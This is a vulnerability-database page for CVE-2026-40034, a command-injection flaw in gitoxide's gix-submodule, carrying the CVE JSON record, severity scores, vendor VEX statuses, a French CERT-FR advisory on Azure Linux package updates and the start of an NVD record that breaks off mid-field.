Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-40034 (GCVE-0-2026-40034)
Vulnerability from cvelistv5 – Published: 2026-05-26 14:08 – Updated: 2026-07-14 20:00- CWE-77 - Improper Neutralization of Special Elements used in a Command ('Command Injection')
| URL | Tags |
|---|---|
| https://github.com/GitoxideLabs/gitoxide/security… | vendor-advisory |
| https://github.com/GitoxideLabs/gitoxide/commit/6… | patch |
| https://github.com/GitoxideLabs/gitoxide/commit/d… | patch |
| https://red.anthropic.com/2026/cvd/findings/ANT-2… | third-party-advisory |
| https://www.vulncheck.com/advisories/gitoxide-com… | third-party-advisory |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-40034",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-26T15:00:27.629890Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-26T15:07:43.895Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-f26g-jm89-4g65"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:cargo/gitoxide",
"product": "gitoxide",
"vendor": "gitoxide",
"versions": [
{
"lessThan": "0.5.21",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "0.5.21",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"packageURL": "pkg:cargo/gix-submodule",
"product": "gix-submodule",
"vendor": "gitoxide",
"versions": [
{
"lessThan": "0.29.0",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "0.29.0",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"packageURL": "pkg:cargo/gix",
"product": "gix",
"vendor": "gitoxide",
"versions": [
{
"lessThan": "0.84.0",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "0.84.0",
"versionType": "semver"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gitoxidelabs:gitoxide:*:*:*:*:*:*:*:*",
"versionEndExcluding": "0.5.21",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"datePublic": "2026-04-25T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "gix-submodule before 0.29.0 (gitoxide before 0.5.21, gix before 0.84.0) incorrectly validates the update field in .gitmodules, allowing attackers to bypass the CommandForbiddenInModulesConfiguration guard when a submodule has been initialized with only partial configuration in .git/config. An attacker can inject arbitrary shell commands via the update field in .gitmodules that will be executed when Submodule::update() is called on a previously-initialized submodule, enabling remote code execution."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "LOCAL",
"baseScore": 7.3,
"baseSeverity": "HIGH",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "PASSIVE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS"
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-77",
"description": "Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-14T20:00:23.349Z",
"orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"shortName": "VulnCheck"
},
"references": [
{
"name": "GHSA Advisory GHSA-f26g-jm89-4g65",
"tags": [
"vendor-advisory"
],
"url": "https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-f26g-jm89-4g65"
},
{
"name": "https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0",
"tags": [
"patch"
],
"url": "https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0"
},
{
"name": "https://github.com/GitoxideLabs/gitoxide/commit/dd5c18d9e526e8de462fa40aa047acd097cfa7dc",
"tags": [
"patch"
],
"url": "https://github.com/GitoxideLabs/gitoxide/commit/dd5c18d9e526e8de462fa40aa047acd097cfa7dc"
},
{
"name": "Anthropic CVD Finding ANT-2026-6SNS6KMP",
"tags": [
"third-party-advisory"
],
"url": "https://red.anthropic.com/2026/cvd/findings/ANT-2026-6SNS6KMP"
},
{
"name": "VulnCheck Advisory: gitoxide - Command Injection via Partial .gitmodules Override in gix-submodule",
"tags": [
"third-party-advisory"
],
"url": "https://www.vulncheck.com/advisories/gitoxide-command-injection-via-partial-gitmodules-override-in-gix-submodule"
}
],
"title": "gitoxide - Command Injection via Partial .gitmodules Override in gix-submodule",
"x_generator": {
"engine": "vulncheck"
}
}
},
"cveMetadata": {
"assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"assignerShortName": "VulnCheck",
"cveId": "CVE-2026-40034",
"datePublished": "2026-05-26T14:08:48.264Z",
"dateReserved": "2026-04-08T13:36:56.793Z",
"dateUpdated": "2026-07-14T20:00:23.349Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-40034",
"date": "2026-08-13",
"epss": "0.00351",
"percentile": "0.28011"
},
"microsoft_vex": {
"current_release_date": "2026-06-13T01:43:07.000Z",
"cve": "CVE-2026-40034",
"id": "msrc_CVE-2026-40034",
"initial_release_date": "2026-05-02T00:00:00.000Z",
"product_status:fixed": "2",
"product_status:known_affected": "4",
"source": "Microsoft CSAF VEX",
"status": "final",
"title": "gitoxide - Command Injection via Partial .gitmodules Override in gix-submodule",
"url": "https://msrc.microsoft.com/csaf/vex/2026/msrc_cve-2026-40034.json",
"version": "4"
},
"nvd": "{\"cve\":{\"id\":\"CVE-2026-40034\",\"sourceIdentifier\":\"disclosure@vulncheck.com\",\"published\":\"2026-05-26T15:16:35.087\",\"lastModified\":\"2026-07-24T11:10:00.170\",\"vulnStatus\":\"Deferred\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"gix-submodule before 0.29.0 (gitoxide before 0.5.21, gix before 0.84.0) incorrectly validates the update field in .gitmodules, allowing attackers to bypass the CommandForbiddenInModulesConfiguration guard when a submodule has been initialized with only partial configuration in .git/config. An attacker can inject arbitrary shell commands via the update field in .gitmodules that will be executed when Submodule::update() is called on a previously-initialized submodule, enabling remote code execution.\"},{\"lang\":\"es\",\"value\":\"gix-submodule antes de 0.82.0 valida incorrectamente el campo update en .gitmodules, permitiendo a los atacantes eludir la protecci\u00f3n CommandForbiddenInModulesConfiguration cuando un subm\u00f3dulo ha sido inicializado con solo una configuraci\u00f3n parcial en .git/config. Un atacante puede inyectar comandos de shell arbitrarios a trav\u00e9s del campo update en .gitmodules que se ejecutar\u00e1n cuando se llame a Submodule::update() en un subm\u00f3dulo previamente inicializado, lo que permite la ejecuci\u00f3n remota de c\u00f3digo.\"}],\"affected\":[{\"source\":\"disclosure@vulncheck.com\",\"affectedData\":[{\"vendor\":\"gitoxide\",\"product\":\"gitoxide\",\"defaultStatus\":\"unaffected\",\"packageURL\":\"pkg:cargo/gitoxide\",\"versions\":[{\"version\":\"0\",\"lessThan\":\"0.5.21\",\"versionType\":\"semver\",\"status\":\"affected\"},{\"version\":\"0.5.21\",\"versionType\":\"semver\",\"status\":\"unaffected\"}]},{\"vendor\":\"gitoxide\",\"product\":\"gix-submodule\",\"defaultStatus\":\"unaffected\",\"packageURL\":\"pkg:cargo/gix-submodule\",\"versions\":[{\"version\":\"0\",\"lessThan\":\"0.29.0\",\"versionType\":\"semver\",\"status\":\"affected\"},{\"version\":\"0.29.0\",\"versionType\":\"semver\",\"status\":\"unaffected\"}]},{\"vendor\":\"gitoxide\",\"product\":\"gix\",\"defaultStatus\":\"unaffected\",\"packageURL\":\"pkg:cargo/gix\",\"versions\":[{\"version\":\"0\",\"lessThan\":\"0.84.0\",\"versionType\":\"semver\",\"status\":\"affected\"},{\"version\":\"0.84.0\",\"versionType\":\"semver\",\"status\":\"unaffected\"}]}]}],\"metrics\":{\"cvssMetricV40\":[{\"source\":\"disclosure@vulncheck.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"4.0\",\"vectorString\":\"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X\",\"baseScore\":8.5,\"baseSeverity\":\"HIGH\",\"attackVector\":\"LOCAL\",\"attackComplexity\":\"LOW\",\"attackRequirements\":\"NONE\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"PASSIVE\",\"vulnConfidentialityImpact\":\"HIGH\",\"vulnIntegrityImpact\":\"HIGH\",\"vulnAvailabilityImpact\":\"HIGH\",\"subConfidentialityImpact\":\"NONE\",\"subIntegrityImpact\":\"NONE\",\"subAvailabilityImpact\":\"NONE\",\"exploitMaturity\":\"NOT_DEFINED\",\"confidentialityRequirement\":\"NOT_DEFINED\",\"integrityRequirement\":\"NOT_DEFINED\",\"availabilityRequirement\":\"NOT_DEFINED\",\"modifiedAttackVector\":\"NOT_DEFINED\",\"modifiedAttackComplexity\":\"NOT_DEFINED\",\"modifiedAttackRequirements\":\"NOT_DEFINED\",\"modifiedPrivilegesRequired\":\"NOT_DEFINED\",\"modifiedUserInteraction\":\"NOT_DEFINED\",\"modifiedVulnConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedVulnIntegrityImpact\":\"NOT_DEFINED\",\"modifiedVulnAvailabilityImpact\":\"NOT_DEFINED\",\"modifiedSubConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedSubIntegrityImpact\":\"NOT_DEFINED\",\"modifiedSubAvailabilityImpact\":\"NOT_DEFINED\",\"Safety\":\"NOT_DEFINED\",\"Automatable\":\"NOT_DEFINED\",\"Recovery\":\"NOT_DEFINED\",\"valueDensity\":\"NOT_DEFINED\",\"vulnerabilityResponseEffort\":\"NOT_DEFINED\",\"providerUrgency\":\"NOT_DEFINED\"}}],\"cvssMetricV31\":[{\"source\":\"disclosure@vulncheck.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\",\"baseScore\":7.8,\"baseSeverity\":\"HIGH\",\"attackVector\":\"LOCAL\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"REQUIRED\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":1.8,\"impactScore\":5.9}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-05-26T15:00:27.629890Z\",\"id\":\"CVE-2026-40034\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"total\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"disclosure@vulncheck.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-77\"}]}],\"references\":[{\"url\":\"https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0\",\"source\":\"disclosure@vulncheck.com\"},{\"url\":\"https://github.com/GitoxideLabs/gitoxide/commit/dd5c18d9e526e8de462fa40aa047acd097cfa7dc\",\"source\":\"disclosure@vulncheck.com\"},{\"url\":\"https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-f26g-jm89-4g65\",\"source\":\"disclosure@vulncheck.com\"},{\"url\":\"https://red.anthropic.com/2026/cvd/findings/ANT-2026-6SNS6KMP\",\"source\":\"disclosure@vulncheck.com\"},{\"url\":\"https://www.vulncheck.com/advisories/gitoxide-command-injection-via-partial-gitmodules-override-in-gix-submodule\",\"source\":\"disclosure@vulncheck.com\"},{\"url\":\"https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-f26g-jm89-4g65\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
"redhat_vex": {
"current_release_date": "2026-05-28T20:12:47+00:00",
"cve": "CVE-2026-40034",
"id": "CVE-2026-40034",
"initial_release_date": "2026-04-25T00:00:00+00:00",
"product_status:known_not_affected": "1",
"source": "Red Hat CSAF VEX",
"status": "final",
"title": "gitoxide - Command Injection via Partial .gitmodules Override in gix-submodule",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-40034.json",
"version": "3"
},
"suse_vex": {
"aggregate_severity": "important",
"current_release_date": "2026-07-15T18:53:39Z",
"cve": "CVE-2026-40034",
"id": "CVE-2026-40034",
"initial_release_date": "2026-05-28T03:58:43Z",
"product_status:known_affected": "104",
"product_status:known_not_affected": "81",
"product_status:recommended": "12",
"source": "SUSE CSAF VEX",
"status": "interim",
"title": "SUSE CVE CVE-2026-40034",
"url": "https://ftp.suse.com/pub/projects/security/csaf-vex/cve-2026-40034.json",
"version": "4"
},
"vulnrichment": {
"containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-40034\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-05-26T15:00:27.629890Z\"}}}], \"references\": [{\"url\": \"https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-f26g-jm89-4g65\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-05-26T15:00:17.708Z\"}}], \"cna\": {\"title\": \"gitoxide - Command Injection via Partial .gitmodules Override in gix-submodule\", \"metrics\": [{\"format\": \"CVSS\", \"cvssV4_0\": {\"Safety\": \"NOT_DEFINED\", \"version\": \"4.0\", \"Recovery\": \"NOT_DEFINED\", \"baseScore\": 7.3, \"Automatable\": \"NOT_DEFINED\", \"attackVector\": \"LOCAL\", \"baseSeverity\": \"HIGH\", \"valueDensity\": \"NOT_DEFINED\", \"vectorString\": \"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N\", \"exploitMaturity\": \"NOT_DEFINED\", \"providerUrgency\": \"NOT_DEFINED\", \"userInteraction\": \"PASSIVE\", \"attackComplexity\": \"LOW\", \"attackRequirements\": \"NONE\", \"privilegesRequired\": \"NONE\", \"subIntegrityImpact\": \"NONE\", \"vulnIntegrityImpact\": \"HIGH\", \"subAvailabilityImpact\": \"NONE\", \"vulnAvailabilityImpact\": \"HIGH\", \"subConfidentialityImpact\": \"NONE\", \"vulnConfidentialityImpact\": \"HIGH\", \"vulnerabilityResponseEffort\": \"NOT_DEFINED\"}}, {\"format\": \"CVSS\", \"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 7.8, \"attackVector\": \"LOCAL\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"REQUIRED\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"gitoxide\", \"product\": \"gitoxide\", \"versions\": [{\"status\": \"affected\", \"version\": \"0\", \"lessThan\": \"0.5.21\", \"versionType\": \"semver\"}, {\"status\": \"unaffected\", \"version\": \"0.5.21\", \"versionType\": \"semver\"}], \"packageURL\": \"pkg:cargo/gitoxide\", \"defaultStatus\": \"unaffected\"}, {\"vendor\": \"gitoxide\", \"product\": \"gix-submodule\", \"versions\": [{\"status\": \"affected\", \"version\": \"0\", \"lessThan\": \"0.29.0\", \"versionType\": \"semver\"}, {\"status\": \"unaffected\", \"version\": \"0.29.0\", \"versionType\": \"semver\"}], \"packageURL\": \"pkg:cargo/gix-submodule\", \"defaultStatus\": \"unaffected\"}, {\"vendor\": \"gitoxide\", \"product\": \"gix\", \"versions\": [{\"status\": \"affected\", \"version\": \"0\", \"lessThan\": \"0.84.0\", \"versionType\": \"semver\"}, {\"status\": \"unaffected\", \"version\": \"0.84.0\", \"versionType\": \"semver\"}], \"packageURL\": \"pkg:cargo/gix\", \"defaultStatus\": \"unaffected\"}], \"datePublic\": \"2026-04-25T00:00:00.000Z\", \"references\": [{\"url\": \"https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-f26g-jm89-4g65\", \"name\": \"GHSA Advisory GHSA-f26g-jm89-4g65\", \"tags\": [\"vendor-advisory\"]}, {\"url\": \"https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0\", \"name\": \"https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0\", \"tags\": [\"patch\"]}, {\"url\": \"https://github.com/GitoxideLabs/gitoxide/commit/dd5c18d9e526e8de462fa40aa047acd097cfa7dc\", \"name\": \"https://github.com/GitoxideLabs/gitoxide/commit/dd5c18d9e526e8de462fa40aa047acd097cfa7dc\", \"tags\": [\"patch\"]}, {\"url\": \"https://red.anthropic.com/2026/cvd/findings/ANT-2026-6SNS6KMP\", \"name\": \"Anthropic CVD Finding ANT-2026-6SNS6KMP\", \"tags\": [\"third-party-advisory\"]}, {\"url\": \"https://www.vulncheck.com/advisories/gitoxide-command-injection-via-partial-gitmodules-override-in-gix-submodule\", \"name\": \"VulnCheck Advisory: gitoxide - Command Injection via Partial .gitmodules Override in gix-submodule\", \"tags\": [\"third-party-advisory\"]}], \"x_generator\": {\"engine\": \"vulncheck\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"gix-submodule before 0.29.0 (gitoxide before 0.5.21, gix before 0.84.0) incorrectly validates the update field in .gitmodules, allowing attackers to bypass the CommandForbiddenInModulesConfiguration guard when a submodule has been initialized with only partial configuration in .git/config. An attacker can inject arbitrary shell commands via the update field in .gitmodules that will be executed when Submodule::update() is called on a previously-initialized submodule, enabling remote code execution.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-77\", \"description\": \"Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027)\"}]}], \"cpeApplicability\": [{\"nodes\": [{\"negate\": false, \"cpeMatch\": [{\"criteria\": \"cpe:2.3:a:gitoxidelabs:gitoxide:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"0.5.21\"}], \"operator\": \"OR\"}]}], \"providerMetadata\": {\"orgId\": \"83251b91-4cc7-4094-a5c7-464a1b83ea10\", \"shortName\": \"VulnCheck\", \"dateUpdated\": \"2026-07-14T20:00:23.349Z\"}}}",
"cveMetadata": "{\"cveId\": \"CVE-2026-40034\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-07-14T20:00:23.349Z\", \"dateReserved\": \"2026-04-08T13:36:56.793Z\", \"assignerOrgId\": \"83251b91-4cc7-4094-a5c7-464a1b83ea10\", \"datePublished\": \"2026-05-26T14:08:48.264Z\", \"assignerShortName\": \"VulnCheck\"}",
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
CERTFR-2026-AVI-0753
Vulnerability from certfr_avis - Published: 2026-06-15 - Updated: 2026-06-15
De multiples vulnérabilités ont été découvertes dans Microsoft Azure. Elles permettent à un attaquant de provoquer un problème de sécurité non spécifié par l'éditeur.
Solutions
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
| Vendor | Product | Description | ||
|---|---|---|---|---|
| Microsoft | N/A | azl3 sqlite 3.44.0-3 versions antérieures à 3.44.0-4 | ||
| Microsoft | N/A | azl3 elixir 1.16.1-1 versions antérieures à 1.16.1-2 | ||
| Microsoft | N/A | azl3 ldns 1.8.3-2 versions antérieures à 1.8.3-3 | ||
| Microsoft | N/A | azl3 rust 1.75.0-29 versions antérieures à 1.75.0-30 | ||
| Microsoft | N/A | azl3 lldpd 1.0.17-2 versions antérieures à 1.0.22-1 | ||
| Microsoft | N/A | azl3 python3 3.12.9-11 versions antérieures à 3.12.9-13 | ||
| Microsoft | N/A | azl3 rust 1.90.0-8 versions antérieures à 1.90.0-9 | ||
| Microsoft | N/A | azl3 vim 9.2.0488-1 versions antérieures à 9.2.0620-1 |
| Title | Publication Time | Tags | ||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||||||||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "azl3 sqlite 3.44.0-3 versions ant\u00e9rieures \u00e0 3.44.0-4",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "azl3 elixir 1.16.1-1 versions ant\u00e9rieures \u00e0 1.16.1-2",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "azl3 ldns 1.8.3-2 versions ant\u00e9rieures \u00e0 1.8.3-3",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "azl3 rust 1.75.0-29 versions ant\u00e9rieures \u00e0 1.75.0-30",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "azl3 lldpd 1.0.17-2 versions ant\u00e9rieures \u00e0 1.0.22-1",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "azl3 python3 3.12.9-11 versions ant\u00e9rieures \u00e0 3.12.9-13",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "azl3 rust 1.90.0-8 versions ant\u00e9rieures \u00e0 1.90.0-9",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "azl3 vim 9.2.0488-1 versions ant\u00e9rieures \u00e0 9.2.0620-1",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": "",
"content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
"cves": [
{
"name": "CVE-2026-46433",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46433"
},
{
"name": "CVE-2026-10846",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-10846"
},
{
"name": "CVE-2026-47162",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47162"
},
{
"name": "CVE-2026-11822",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11822"
},
{
"name": "CVE-2026-52858",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-52858"
},
{
"name": "CVE-2026-49762",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49762"
},
{
"name": "CVE-2026-7774",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-7774"
},
{
"name": "CVE-2026-11824",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11824"
},
{
"name": "CVE-2026-40034",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40034"
},
{
"name": "CVE-2026-47167",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47167"
},
{
"name": "CVE-2026-52859",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-52859"
},
{
"name": "CVE-2026-52860",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-52860"
}
],
"initial_release_date": "2026-06-15T00:00:00",
"last_revision_date": "2026-06-15T00:00:00",
"links": [],
"reference": "CERTFR-2026-AVI-0753",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2026-06-15T00:00:00.000000"
}
],
"risks": [
{
"description": "Non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans Microsoft Azure. Elles permettent \u00e0 un attaquant de provoquer un probl\u00e8me de s\u00e9curit\u00e9 non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur.",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans Microsoft Azure",
"vendor_advisories": [
{
"published_at": "2026-06-13",
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2026-47162",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47162"
},
{
"published_at": "2026-05-31",
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2026-40034",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40034"
},
{
"published_at": "2026-06-11",
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2026-10846",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-10846"
},
{
"published_at": "2026-06-11",
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2026-11822",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-11822"
},
{
"published_at": "2026-06-13",
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2026-47167",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47167"
},
{
"published_at": "2026-06-13",
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2026-52860",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-52860"
},
{
"published_at": "2026-06-13",
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2026-52858",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-52858"
},
{
"published_at": "2026-06-10",
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2026-49762",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49762"
},
{
"published_at": "2026-06-11",
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2026-11824",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-11824"
},
{
"published_at": "2026-06-07",
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2026-7774",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-7774"
},
{
"published_at": "2026-06-11",
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2026-46433",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-46433"
},
{
"published_at": "2026-06-13",
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2026-52859",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-52859"
}
]
}
FKIE_CVE-2026-40034
Vulnerability from fkie_nvd - Published: 2026-05-26 15:16 - Updated: 2026-06-17 10:44| Vendor | Product | Version |
|---|
{
"affected": [
{
"affectedData": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:cargo/gitoxide",
"product": "gitoxide",
"vendor": "gitoxide",
"versions": [
{
"lessThan": "0.5.21",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "0.5.21",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"packageURL": "pkg:cargo/gix-submodule",
"product": "gix-submodule",
"vendor": "gitoxide",
"versions": [
{
"lessThan": "0.29.0",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "0.29.0",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"packageURL": "pkg:cargo/gix",
"product": "gix",
"vendor": "gitoxide",
"versions": [
{
"lessThan": "0.84.0",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "0.84.0",
"versionType": "semver"
}
]
}
],
"source": "disclosure@vulncheck.com"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
